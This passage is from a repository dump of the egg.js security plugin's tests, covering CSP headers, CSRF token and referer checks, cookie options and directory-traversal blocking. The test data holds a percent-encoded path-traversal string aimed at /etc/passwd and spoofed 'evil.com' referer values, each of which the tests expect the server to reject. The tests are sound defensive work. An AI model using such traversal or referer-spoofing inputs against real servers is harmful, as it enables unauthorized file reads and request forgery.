'unsafe-inline' *.domain.com;img-src 'self' data: *.domain.com www.google-analytics.com;frame-ancestors 'self';report-uri http://pointman.domain.com/csp?app=csp\";\n    expect(res.headers['content-security-policy-report-only']).toBe(expectedHeader);\n  });\n\n  it('should support report only when pattern match and report only config open and support ie', async () => {\n    const res = await app3\n      .httpRequest()\n      .get('/testcsp2')\n      .set('user-agent', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0)')\n      .expect(200);\n    const nonce = res.text;\n    const expectedHeader =\n      \"script-src 'self' 'unsafe-inline' 'unsafe-eval' *.domain.com www.google-analytics.com 'nonce-\" +\n      nonce +\n      \"';style-src 'unsafe-inline' *.domain.com;img-src 'self' data: *.domain.com www.google-analytics.com;frame-ancestors 'self';report-uri http://pointman.domain.com/csp?app=csp\";\n    expect(res.headers['x-content-security-policy-report-only']).toBe(expectedHeader);\n  });\n});\n"
  },
  {
    "path": "plugins/security/test/csrf.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { TestAgent } from '@eggjs/supertest';\nimport { describe, it, expect, afterAll, beforeAll, afterEach } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\ndescribe('test/csrf.test.ts', () => {\n  let app: MockApplication;\n  let app2: MockApplication;\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/csrf'),\n    });\n    await app.ready();\n    app2 = mm.app({\n      baseDir: getFixtures('apps/csrf-multiple'),\n    });\n    await app2.ready();\n  });\n\n  afterAll(async () => {\n    await app.close();\n    await app2.close();\n  });\n\n  afterEach(mm.restore);\n\n  it('should throw when session disabled and useSession enabled', async () => {\n    try {\n      const app = mm.app({ baseDir: getFixtures('apps/csrf-session-disable') });\n      await app.ready();\n      throw new Error('should not execute');\n    } catch (err: any) {\n      expect(err.message).toBe('csrf.useSession enabled, but session plugin is disabled');\n    }\n  });\n\n  it('should update form with csrf token', async () => {\n    expect(app.config.security.csrf).toMatchSnapshot();\n    const agent = new TestAgent(app.callback());\n    let res = await agent.get('/').set('accept', 'text/html').expect(200);\n    expect(res.text).toBeTruthy();\n    const csrfToken = res.text;\n    res = await agent\n      .post('/update')\n      .set('content-type', 'application/x-www-form-urlencoded')\n      .send({\n        _csrf: csrfToken,\n        title: `ok token: ${csrfToken}`,\n      })\n      .expect(200)\n      .expect({\n        _csrf: csrfToken,\n        title: `ok token: ${csrfToken}`,\n      });\n  });\n\n  it('should update form with csrf token rotate', async () => {\n    const agent = new TestAgent(app.callback());\n    await agent.get('/').set('accept', 'text/html').expect(200);\n    let res = await agent.get('/rotate').set('accept', 'text/html').expect(200);\n    expect(res.text).toBeTruthy();\n    const csrfToken = res.text;\n    res = await agent\n      .post('/update')\n      .set('content-type', 'application/x-www-form-urlencoded')\n      .send({\n        _csrf: csrfToken,\n        title: `ok token: ${csrfToken}`,\n      })\n      .expect(200)\n      .expect({\n        _csrf: csrfToken,\n        title: `ok token: ${csrfToken}`,\n      });\n  });\n\n  it('should not set cookie when rotate without csrf token', async () => {\n    await app\n      .httpRequest()\n      .get('/api/rotate')\n      .set('accept', 'text/html')\n      .expect(200)\n      .expect('')\n      .expect((res) => {\n        expect(res.header['set-cookie']).toBeFalsy();\n      });\n  });\n\n  it('should update form with csrf token using session', async () => {\n    mm(app.config.security.csrf, 'useSession', true);\n    const agent = new TestAgent(app.callback());\n    let res = await agent.get('/').set('accept', 'text/html').expect(200);\n    expect(res.text).toBeTruthy();\n    const csrfToken = res.text;\n    res = await agent\n      .post('/update')\n      .set('content-type', 'application/x-www-form-urlencoded')\n      .send({\n        _csrf: csrfToken,\n        title: `ok token: ${csrfToken}`,\n      })\n      .expect(200)\n      .expect({\n        _csrf: csrfToken,\n        title: `ok token: ${csrfToken}`,\n      });\n  });\n\n  it('should update json with csrf token using session', async () => {\n    mm(app.config.security.csrf, 'useSession', true);\n    const agent = new TestAgent(app.callback());\n    let res = await agent.get('/').set('accept', 'text/html').expect(200);\n    expect(res.text).toBeTruthy();\n    const csrfToken = res.text;\n    res = await agent\n      .post('/update')\n      .send({\n        _csrf: csrfToken,\n        title: `ok token: ${csrfToken}`,\n      })\n      .expect(200)\n      .expect({\n        _csrf: csrfToken,\n        title: `ok token: ${csrfToken}`,\n      });\n  });\n\n  it('should update form with csrf token from cookie and set to header', async () => {\n    const agent = new TestAgent(app.callback());\n    let res = await agent.get('/').set('accept', 'text/html').expect(200);\n    expect(res.text).toBeTruthy();\n    const cookie = res.headers['set-cookie'][0];\n    expect(cookie).toMatch(/csrfToken=(.*?);/);\n    const csrfToken = cookie.match(/csrfToken=(.*?);/)![1];\n    res = await agent\n      .post('/update')\n      .set('x-csrf-token', csrfToken)\n      .send({\n        title: `ok token: ${csrfToken}`,\n      })\n      .expect(200)\n      .expect({\n        title: `ok token: ${csrfToken}`,\n      });\n  });\n\n  it('should update form with csrf token from cookie and set to query', async () => {\n    const agent = new TestAgent(app.callback());\n    let res = await agent.get('/').set('accept', 'text/html').expect(200);\n    expect(res.text).toBeTruthy();\n    const cookie = res.headers['set-cookie'][0];\n    expect(cookie).toMatch(/csrfToken=(.*?);/);\n    const csrfToken = cookie.match(/csrfToken=(.*?);/)![1];\n    res = await agent\n      .post(`/update?_csrf=${csrfToken}`)\n      .send({\n        title: `ok token: ${csrfToken}`,\n      })\n      .expect(200)\n      .expect({\n        title: `ok token: ${csrfToken}`,\n      });\n  });\n\n  it('should update form with csrf token from cookie and support multiple query input', async () => {\n    const agent = new TestAgent(app2.callback());\n    let res = await agent.get('/').set('accept', 'text/html').expect(200);\n    expect(res.text).toBeTruthy();\n    const cookie = (res.headers['set-cookie'] as unknown as string[]).join(';');\n    expect(cookie).toMatch(/csrfToken=(.*?);/);\n    expect(cookie).toMatch(/ctoken=(.*?);/);\n    const csrfToken = cookie.match(/csrfToken=(.*?);/)![1];\n    const ctoken = cookie.match(/ctoken=(.*?);/)![1];\n    expect(ctoken).toBe(csrfToken);\n    res = await agent\n      .post(`/update?_csrf=${csrfToken}`)\n      .send({\n        title: `ok token: ${csrfToken}`,\n      })\n      .expect(200)\n      .expect({\n        title: `ok token: ${csrfToken}`,\n      });\n    res = await agent\n      .post(`/update?_csgo=${csrfToken}`)\n      .send({\n        title: `ok token: ${csrfToken}`,\n      })\n      .expect(200)\n      .expect({\n        title: `ok token: ${csrfToken}`,\n      });\n\n    res = await agent\n      .post(`/update?_csgo=${csrfToken}`)\n      .set('cookie', `csrfToken=${csrfToken}`)\n      .send({\n        title: `ok token: ${csrfToken}`,\n      })\n      .expect(200)\n      .expect({\n        title: `ok token: ${csrfToken}`,\n      });\n\n    res = await agent\n      .post(`/update?_csgo=${csrfToken}`)\n      .set('cookie', `ctoken=${csrfToken}`)\n      .send({\n        title: `ok token: ${csrfToken}`,\n      })\n      .expect(200)\n      .expect({\n        title: `ok token: ${csrfToken}`,\n      });\n  });\n\n  it('should update form with csrf token from cookie and set to body', async () => {\n    const agent = new TestAgent(app.callback());\n    let res = await agent.get('/').set('accept', 'text/html').expect(200);\n    expect(res.text).toBeTruthy();\n    const cookie = res.headers['set-cookie'][0];\n    expect(cookie).toMatch(/csrfToken=(.*?);/);\n    const csrfToken = cookie.match(/csrfToken=(.*?);/)![1];\n    res = await agent\n      .post('/update')\n      .send({\n        _csrf: csrfToken,\n        title: `ok token: ${csrfToken}`,\n      })\n      .expect(200)\n      .expect({\n        _csrf: csrfToken,\n        title: `ok token: ${csrfToken}`,\n      });\n  });\n\n  it('should update form with csrf token from cookie and and support multiple body input', async () => {\n    const agent = new TestAgent(app2.callback());\n    let res = await agent.get('/').set('accept', 'text/html').expect(200);\n    expect(res.text).toBeTruthy();\n    const cookie = res.headers['set-cookie'][1];\n    expect(cookie).toMatch(/csrfToken=(.*?);/);\n    const csrfToken = cookie.match(/csrfToken=(.*?);/)![1];\n    res = await agent\n      .post('/update')\n      .send({\n        _csrf: csrfToken,\n        title: `ok token: ${csrfToken}`,\n      })\n      .expect(200)\n      .expect({\n        _csrf: csrfToken,\n        title: `ok token: ${csrfToken}`,\n      });\n    res = await agent\n      .post('/update')\n      .send({\n        _csgo: csrfToken,\n        title: `ok token: ${csrfToken}`,\n      })\n      .expect(200)\n      .expect({\n        _csgo: csrfToken,\n        title: `ok token: ${csrfToken}`,\n      });\n  });\n\n  it('token should be rotated when enable rotateWhenInvalid', async () => {\n    mm(app.config.security.csrf, 'rotateWhenInvalid', true);\n    await app\n      .httpRequest()\n      .post('/update')\n      .set('x-csrf-token', '2')\n      .set('cookie', 'csrfToken=1')\n      .send({ title: 'invalid token' })\n      .expect(403)\n      .expect((res) => expect(res.header['set-cookie']).toBeTruthy());\n  });\n\n  it('should show deprecate message if ignoreJSON = true', async () => {\n    const app = mm.app({ baseDir: getFixtures('apps/csrf-ignorejson') });\n    await app.ready();\n    // will show deprecate message\n  });\n\n  it('should ignore json if ignoreJSON = true', async () => {\n    mm(app.config.security.csrf, 'ignoreJSON', true);\n    await app\n      .httpRequest()\n      .post('/update')\n      .send({\n        title: 'without token ok',\n      })\n      .expect(200)\n      .expect({\n        title: 'without token ok',\n      });\n  });\n\n  it('should ignore json if ignoreJSON = true and body not exist', async () => {\n    mm(app.config.security.csrf, 'ignoreJSON', true);\n    await app\n      .httpRequest()\n      .post('/update')\n      .set('content-length', '0')\n      .set('content-type', 'application/json')\n      .expect(200)\n      .expect({});\n  });\n\n  it('should not ignore form if ignoreJSON = true', async () => {\n    mm(app.config.security.csrf, 'ignoreJSON', true);\n    await app\n      .httpRequest()\n      .post('/update')\n      .set('content-type', 'application/x-www-form-urlencoded')\n      .send({\n        title: 'without token ok',\n      })\n      .expect(403);\n  });\n\n  it('should return 403 update form without csrf token', async () => {\n    const agent = new TestAgent(app.callback());\n    await agent.get('/').set('accept', 'text/html').expect(200);\n\n    await agent\n      .post('/update')\n      .set('accept', 'text/html')\n      .expect(403)\n      .expect(/invalid csrf token/);\n  });\n\n  it('should return 403 and log debug info in local env', async () => {\n    mm(app.config, 'env', 'local');\n    app.mockLog();\n    const agent = new TestAgent(app.callback());\n    await agent.get('/').set('accept', 'text/html').expect(200);\n\n    const res = await agent.post('/update').set('accept', 'text/html').expect(403);\n    expect(res.text).toMatch(/invalid csrf token/);\n    app.expectLog('invalid csrf token. See http');\n  });\n\n  it('should return 403 update form without csrf secret', async () => {\n    await app\n      .httpRequest()\n      .post('/update')\n      .set('accept', 'text/html')\n      .expect(403)\n      .expect(/missing csrf token/);\n  });\n\n  it('should return 403 and log debug info in local env', async () => {\n    mm(app.config, 'env', 'local');\n    app.mockLog();\n    await app\n      .httpRequest()\n      .post('/update')\n      .set('accept', 'text/html')\n      .expect(403)\n      .expect(/missing csrf token/);\n    app.expectLog('missing csrf token. See http');\n  });\n\n  it('should support ignore paths', async () => {\n    await app\n      .httpRequest()\n      .post('/update')\n      .send({\n        foo: 'bar',\n      })\n      .expect(403);\n\n    await app\n      .httpRequest()\n      .post('/api/update')\n      .send({\n        foo: 'bar',\n      })\n      .expect(404);\n\n    await app\n      .httpRequest()\n      .post('/api/users/posts')\n      .send({\n        foo: 'bar',\n      })\n      .expect(404);\n  });\n\n  it('should support ignore function', async () => {\n    await app\n      .httpRequest()\n      .post('/update')\n      .send({\n        foo: 'bar',\n      })\n      .expect(403);\n\n    await app\n      .httpRequest()\n      .post('/update')\n      .send({\n        foo: 'bar',\n      })\n      .set('ignore-csrf', 'true')\n      .expect(200);\n  });\n\n  it('should got next when is GET/HEAD/OPTIONS/TRACE method', async () => {\n    await app.httpRequest().get('/update.json;').expect(404);\n\n    await app.httpRequest().head('/update.tile;').expect(404);\n\n    await app.httpRequest().options('/update.ajax;').expect(404);\n    // await (app as any).httpRequest()\n    //   .trace('/update.ajax;')\n    //   .expect(404);\n  });\n\n  it('should throw 500 if ctx.assertCsrf() throw not 403 error', async () => {\n    mm.syncError(app.context, 'assertCsrf', 'mock assertCsrf error');\n\n    await app.httpRequest().post('/foo').expect(500);\n  });\n\n  it('should assertCsrf ignore path', () => {\n    const ctx = app2.mockContext({\n      path: '/api/foo',\n    });\n    ctx.assertCsrf();\n  });\n\n  it('should assertCsrf throw if not ignore', () => {\n    const ctx = app2.mockContext({\n      path: '/foo/bar',\n    });\n    expect(() => {\n      ctx.assertCsrf();\n    }).toThrow('missing csrf token');\n  });\n\n  it('should return 200 with correct referer or origin when type is referer', async () => {\n    mm(app.config, 'env', 'local');\n    mm(app.config.security.csrf, 'type', 'referer');\n    mm(app.config.security.csrf, 'refererWhiteList', ['.nodejs.org']);\n    app.mockLog();\n    await app\n      .httpRequest()\n      .post('/update')\n      .set('accept', 'text/html')\n      .set('referer', 'https://nodejs.org/en/')\n      .expect(200);\n\n    await app\n      .httpRequest()\n      .post('/update')\n      .set('accept', 'text/html')\n      .set('origin', 'https://nodejs.org/en/')\n      .expect(200);\n  });\n\n  it('should return 403 with correct referer or origin when type is referer', async () => {\n    mm(app.config, 'env', 'local');\n    mm(app.config.security.csrf, 'type', 'referer');\n    mm(app.config.security.csrf, 'refererWhiteList', ['nodejs.org']);\n    app.mockLog();\n    await app\n      .httpRequest()\n      .post('/update')\n      .set('accept', 'text/html')\n      .set('referer', 'https://wwwnodejs.org/en/')\n      .expect(403);\n\n    await app\n      .httpRequest()\n      .post('/update')\n      .set('accept', 'text/html')\n      .set('origin', 'https://wwwnodejs.org/en/')\n      .expect(403);\n  });\n\n  it('should return 200 with same root host when type is referer', async () => {\n    mm(app.config, 'env', 'local');\n    mm(app.config.security.csrf, 'type', 'referer');\n    app.mockLog();\n    await app\n      .httpRequest()\n      .post('/update')\n      .set('accept', 'text/html')\n      .set('referer', 'https://www.nodejs.org/en/')\n      .set('host', 'nodejs.org')\n      .expect(200);\n    await app\n      .httpRequest()\n      .post('/update')\n      .set('accept', 'text/html')\n      .set('referer', 'https://nodejs.org/en/')\n      .set('host', 'nodejs.org')\n      .expect(200);\n\n    await app\n      .httpRequest()\n      .post('/update')\n      .set('accept', 'text/html')\n      .set('origin', 'https://www.nodejs.org/en/')\n      .set('host', 'nodejs.org')\n      .expect(200);\n    await app\n      .httpRequest()\n      .post('/update')\n      .set('accept', 'text/html')\n      .set('origin', 'https://nodejs.org/en/')\n      .set('host', 'nodejs.org')\n      .expect(200);\n  });\n\n  it('should return 403 with invalid host when type is referer', async () => {\n    mm(app.config, 'env', 'local');\n    mm(app.config.security.csrf, 'type', 'referer');\n    app.mockLog();\n    await app\n      .httpRequest()\n      .post('/update')\n      .set('accept', 'text/html')\n      .set('referer', 'https://wwwnodejs.org/en/')\n      .set('host', 'nodejs.org')\n      .expect(403);\n\n    await app\n      .httpRequest()\n      .post('/update')\n      .set('accept', 'text/html')\n      .set('origin', 'https://wwwnodejs.org/en/')\n      .set('host', 'nodejs.org')\n      .expect(403);\n  });\n\n  it('should return 403 with evil referer or origin when type is referer', async () => {\n    mm(app.config, 'env', 'local');\n    mm(app.config.security.csrf, 'type', 'referer');\n    mm(app.config.security.csrf, 'refererWhiteList', ['nodejs.org']);\n    app.mockLog();\n    await app\n      .httpRequest()\n      .post('/update')\n      .set('accept', 'text/html')\n      .set('referer', 'https://nodejs.org!.evil.com/en/')\n      .expect(403);\n    await app\n      .httpRequest()\n      .post('/update')\n      .set('accept', 'text/html')\n      .set('origin', 'https://nodejs.org!.evil.com/en/')\n      .expect(403);\n  });\n\n  it('should return 403 with illegal referer or origin when type is referer', async () => {\n    mm(app.config, 'env', 'local');\n    mm(app.config.security.csrf, 'type', 'referer');\n    mm(app.config.security.csrf, 'refererWhiteList', ['nodejs.org']);\n    app.mockLog();\n    await app.httpRequest().post('/update').set('accept', 'text/html').set('referer', '/en/').expect(403);\n    await app.httpRequest().post('/update').set('accept', 'text/html').set('origin', '/en/').expect(403);\n  });\n\n  it('should return 200 with same domain request', async () => {\n    mm(app.config, 'env', 'local');\n    mm(app.config.security.csrf, 'type', 'referer');\n    app.mockLog();\n    const httpRequestObj = app.httpRequest().post('/update') as any;\n    const port = httpRequestObj.app.address().port;\n    await httpRequestObj.set('accept', 'text/html').set('referer', `http://127.0.0.1:${port}/`).expect(200);\n\n    const httpRequestObj2 = app.httpRequest().post('/update') as any;\n    const port2 = httpRequestObj2.app.address().port;\n    await httpRequestObj2.set('accept', 'text/html').set('origin', `http://127.0.0.1:${port2}/`).expect(200);\n  });\n\n  it('should return 403 with different domain request', async () => {\n    mm(app.config, 'env', 'local');\n    mm(app.config.security.csrf, 'type', 'referer');\n    app.mockLog();\n    await app\n      .httpRequest()\n      .post('/update')\n      .set('accept', 'text/html')\n      .set('referer', 'https://nodejs.org/en/')\n      .expect(403)\n      .expect(/invalid csrf referer or origin/);\n\n    await app\n      .httpRequest()\n      .post('/update')\n      .set('accept', 'text/html')\n      .set('origin', 'https://nodejs.org/en/')\n      .expect(403)\n      .expect(/invalid csrf referer or origin/);\n  });\n\n  it('should check both ctoken and referer when type is all', async () => {\n    mm(app.config.security.csrf, 'type', 'all');\n    mm(app.config.security.csrf, 'refererWhiteList', ['https://eggjs.org/']);\n    app.mockLog();\n    await app\n      .httpRequest()\n      .post('/update')\n      .set('accept', 'text/html')\n      .set('referer', 'https://eggjs.org/en/')\n      .expect(403)\n      .expect(/missing csrf token/);\n    await app\n      .httpRequest()\n      .post('/update')\n      .set('accept', 'text/html')\n      .set('origin', 'https://eggjs.org/en/')\n      .expect(403)\n      .expect(/missing csrf token/);\n    await app\n      .httpRequest()\n      .post('/update')\n      .send({ _csrf: '1' })\n      .set('accept', 'text/html')\n      .set('cookie', 'csrfToken=1')\n      .expect(403)\n      .expect(/missing csrf referer or origin/);\n  });\n\n  it('should check one of ctoken and referer when type is any', async () => {\n    mm(app.config.security.csrf, 'type', 'any');\n    mm(app.config.security.csrf, 'refererWhiteList', ['.eggjs.org']);\n    app.mockLog();\n    await app\n      .httpRequest()\n      .post('/update')\n      .set('accept', 'text/html')\n      .set('referer', 'https://eggjs.org/en/')\n      .expect(200);\n    await app\n      .httpRequest()\n      .post('/update')\n      .set('accept', 'text/html')\n      .set('origin', 'https://eggjs.org/en/')\n      .expect(200);\n    await app\n      .httpRequest()\n      .post('/update')\n      .send({ _csrf: '1' })\n      .set('accept', 'text/html')\n      .set('cookie', 'csrfToken=1')\n      .expect(200);\n    await app\n      .httpRequest()\n      .post('/update')\n      .send({ _csrf: '123' })\n      .set('accept', 'text/html')\n      .set('cookie', 'csrfToken=1')\n      .expect(403)\n      .expect(/ForbiddenError: both ctoken and referer check error: invalid csrf token, missing csrf referer/);\n  });\n\n  it('should return 403 without referer or origin when type is referer', async () => {\n    mm(app.config, 'env', 'local');\n    mm(app.config.security.csrf, 'type', 'referer');\n    mm(app.config.security.csrf, 'refererWhiteList', ['https://eggjs.org/']);\n    app.mockLog();\n    await app\n      .httpRequest()\n      .post('/update')\n      .set('accept', 'text/html')\n      .expect(403)\n      .expect(/missing csrf referer/);\n    app.expectLog('missing csrf referer or origin. See http');\n  });\n\n  it('should return 403 with invalid referer or origin when type is referer', async () => {\n    mm(app.config, 'env', 'local');\n    mm(app.config.security.csrf, 'type', 'referer');\n    mm(app.config.security.csrf, 'refererWhiteList', ['https://eggjs.org/']);\n    app.mockLog();\n    await app\n      .httpRequest()\n      .post('/update')\n      .set('accept', 'text/html')\n      .set('referer', 'https://nodejs.org/en/')\n      .expect(403)\n      .expect(/invalid csrf referer or origin/);\n    app.expectLog('invalid csrf referer or origin. See http');\n  });\n\n  it('should throw with error type', async () => {\n    const app = mm.app({\n      baseDir: getFixtures('apps/csrf-error-type'),\n    });\n    await expect(async () => {\n      await app.ready();\n    }).rejects.toThrow(/Invalid enum value. Expected 'ctoken' \\| 'referer' \\| 'all' \\| 'any', received 'test'/);\n    await app.close();\n  });\n\n  it('should works without error with csrf.enable = false', async () => {\n    const app = mm.app({\n      baseDir: getFixtures('apps/csrf-enable-false'),\n    });\n    await app.ready();\n    await app.httpRequest().post('/update').set('accept', 'text/html').expect(200);\n    await app.close();\n  });\n});\n\ndescribe('apps/csrf-supported-requests', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/csrf-supported-requests'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => app.close());\n\n  it('should works without error', async () => {\n    await app.httpRequest().post('/').set('accept', 'text/html').expect(200);\n  });\n\n  it('should throw with error type', async () => {\n    await app\n      .httpRequest()\n      .post('/update')\n      .set('accept', 'text/html')\n      .expect(403)\n      .expect(/missing csrf token/);\n  });\n\n  it('should throw with error type', async () => {\n    await app\n      .httpRequest()\n      .get('/api/rotate')\n      .set('accept', 'text/html')\n      .expect(403)\n      .expect(/missing csrf token/);\n  });\n});\n\ndescribe('apps/csrf-supported-override-default', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/csrf-supported-override-default'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => app.close());\n\n  it('should works without error', async () => {\n    await app.httpRequest().post('/').set('accept', 'text/html').expect(200);\n\n    await app.httpRequest().post('/update').set('accept', 'text/html').expect(200);\n  });\n\n  it('should throw with error type', async () => {\n    await app\n      .httpRequest()\n      .post('/api/rotate')\n      .set('accept', 'text/html')\n      .expect(403)\n      .expect(/missing csrf token/);\n\n    await app\n      .httpRequest()\n      .post('/api/foo')\n      .set('accept', 'text/html')\n      .expect(403)\n      .expect(/missing csrf token/);\n  });\n});\n\ndescribe('apps/csrf-supported-requests-default-config', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/csrf-supported-requests-default-config'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => app.close());\n\n  it('should works without error because csrf = false override default config', async () => {\n    expect(app.config.security.csrf).toMatchSnapshot();\n    const res = await app.httpRequest().get('/').set('accept', 'text/html').expect(200);\n    expect(res.body.csrf).toBe('');\n    expect(res.body.env).toBe('unittest');\n    expect(res.body.supportedRequestsMethods).toEqual(['POST', 'PATCH', 'DELETE', 'PUT', 'CONNECT']);\n    await app.httpRequest().post('/update').expect(200);\n  });\n});\n"
  },
  {
    "path": "plugins/security/test/csrf_cookieDomain.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, beforeAll } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\ndescribe('cookieDomain = function', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/ctoken'),\n    });\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should auto set ctoken on GET request', () => {\n    return app\n      .httpRequest()\n      .get('/hello')\n      .set('Host', 'abc.foo.com:7001')\n      .expect('hello ctoken')\n      .expect(200)\n      .expect('Set-Cookie', /ctoken=[\\w-]+; path=\\/; domain=\\.foo\\.com/);\n  });\n});\n\ndescribe('cookieDomain = string', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/csrf-string-cookiedomain'),\n    });\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should auto set csrfToken on GET request', () => {\n    return app\n      .httpRequest()\n      .get('/hello')\n      .set('Host', 'abc.aaaa.ddd.string.com')\n      .expect('hello csrfToken')\n      .expect(200)\n      .expect('Set-Cookie', /csrfToken=[\\w-]+; path=\\/; domain=\\.string\\.com/);\n  });\n});\n\ndescribe('cookieOptions = object', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/csrf-cookieOptions'),\n    });\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should auto set csrfToken with cookie options on GET request', () => {\n    return app\n      .httpRequest()\n      .get('/hello')\n      .set('Host', 'abc.aaaa.ddd.string.com')\n      .expect('hello csrfToken cookieOptions')\n      .expect(200)\n      .expect('Set-Cookie', /csrfToken=[\\w-]+; path=\\/; httponly/);\n  });\n});\n\ndescribe('cookieOptions use signed', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/csrf-cookieOptions-signed'),\n    });\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should auto set csrfToken and csrfToken.sig with cookie options on GET request', () => {\n    return app\n      .httpRequest()\n      .get('/hello')\n      .set('Host', 'abc.aaaa.ddd.string.com')\n      .expect('hello csrfToken cookieOptions signed')\n      .expect(200)\n      .expect('Set-Cookie', /csrfToken=[\\w-]+; path=\\/,csrfToken\\.sig=[\\w-]+; path=\\//);\n  });\n});\n"
  },
  {
    "path": "plugins/security/test/dta.test.ts",
    "content": "import { scheduler } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, expect, afterAll, beforeAll } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\ndescribe('test/dta.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/dta'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => app.close());\n\n  it('should ok when path is normal', () => {\n    expect(app.config.security).toMatchSnapshot();\n    return app.httpRequest().get('/test').expect(200);\n  });\n\n  it('should ok when path2 is normal', () => {\n    return app.httpRequest().get('/%2E.%2E/').expect(404);\n  });\n\n  it('should ok when path3 is normal', () => {\n    return app.httpRequest().get('/foo/%2E%2E/').expect(404);\n  });\n\n  it('should ok when path4 is normal', () => {\n    return app.httpRequest().get('/foo/%2E%2E/foo/%2E%2E/').expect(404);\n  });\n\n  it('should ok when path5 is normal', () => {\n    return app.httpRequest().get('/%252e%252e/').expect(404);\n  });\n\n  it('should not allow Directory_traversal_attack when path is invalid', () => {\n    return app\n      .httpRequest()\n      .get(\n        '/%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd',\n      )\n      .expect(400);\n  });\n\n  it.skip('should not allow Directory_traversal_attack when path2 is invalid', () => {\n    return app.httpRequest().get('/%2E%2E/').expect(400);\n  });\n\n  it.skip('should not allow Directory_traversal_attack when path3 is invalid', () => {\n    return app.httpRequest().get('/foo/%2E%2E/%2E%2E/').expect(400);\n  });\n\n  it.skip('should not allow Directory_traversal_attack when path4 is invalid', () => {\n    return app.httpRequest().get('/foo/%2E%2E/foo/%2E%2E/%2E%2E/').expect(400);\n  });\n\n  it('should log err under dev', async () => {\n    app.mockLog();\n    await app.httpRequest().get('/%2c%2f%').expect(404);\n    if (process.platform === 'win32') {\n      await scheduler.wait(2000);\n    }\n    app.expectLog('decode file path', 'coreLogger');\n  });\n});\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csp/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/testcsp', async function () {\n    this.body = this.nonce;\n  });\n\n  app.get('/testcsp/custom', async function () {\n    this.securityOptions.csp = {\n      policy: {\n        'script-src': [\"'self'\"],\n        'style-src': [\"'unsafe-inline'\"],\n        'img-src': [\"'self'\"],\n        'frame-ancestors': [\"'self'\"],\n        'report-uri': 'http://pointman.domain.com/csp?app=csp',\n      },\n    };\n    this.body = this.nonce;\n  });\n\n  app.get('/testcsp/disable', async function () {\n    this.securityOptions.csp = {\n      enable: false,\n    };\n    this.body = 'hello';\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csp/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.security = {\n  defaultMiddleware: 'csp',\n  csp: {\n    enable: true,\n    policy: {\n      'script-src': [\"'self'\", \"'unsafe-inline'\", \"'unsafe-eval'\", '.domain.com', 'www.google-analytics.com'],\n      'style-src': [\"'unsafe-inline'\", '.domain.com'],\n      'img-src': [\"'self'\", 'data:', '.domain.com', 'www.google-analytics.com'],\n      'frame-ancestors': [\"'self'\"],\n      'report-uri': 'http://pointman.domain.com/csp?app=csp',\n    },\n  },\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csp/package.json",
    "content": "{\n  \"name\": \"csp\"\n}\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csp-ignore/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/testcsp', async function () {\n    this.body = this.nonce;\n  });\n  app.get('/api/update', async function () {\n    this.body = 456;\n  });\n  app.get('/ignore/update', async function () {\n    this.body = 456;\n  });\n};\n"
  },
  {
    "path": "plugins/security/test/fixtures/apps/csp-ignore/config/config.js",
